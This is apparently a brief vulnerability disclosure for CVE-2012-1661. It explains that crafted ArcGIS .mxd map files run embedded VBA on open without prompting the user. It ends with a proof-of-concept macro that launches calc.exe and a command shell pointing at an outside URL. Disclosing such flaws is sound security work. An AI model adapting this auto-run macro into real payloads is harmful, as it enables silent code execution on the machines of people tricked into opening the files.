Opening a specially crafted mxd file will execute arbitrary
code without prompting and without a crash of the application.
This is due to a flaw in the programs ability to prompt a user
before executing embedded VBA. Mxd files are not filtered by
email systems so this allows a remote attacker to trick a user
into opening a map file via email and unknowingly gain control
over their system.
If the following macro is implemented in the project
the Shell statements will be executed when the
document is opened without prompt.
Private Function MxDocument_OpenDocument() As Boolean
Shell "calc.exe", vbNormalFocus
Shell "cmd /c start
http://www.cs.umb.edu/~joecohen/exploits/CVE-2012-1661.htm",
vbNormalFocus
End Function
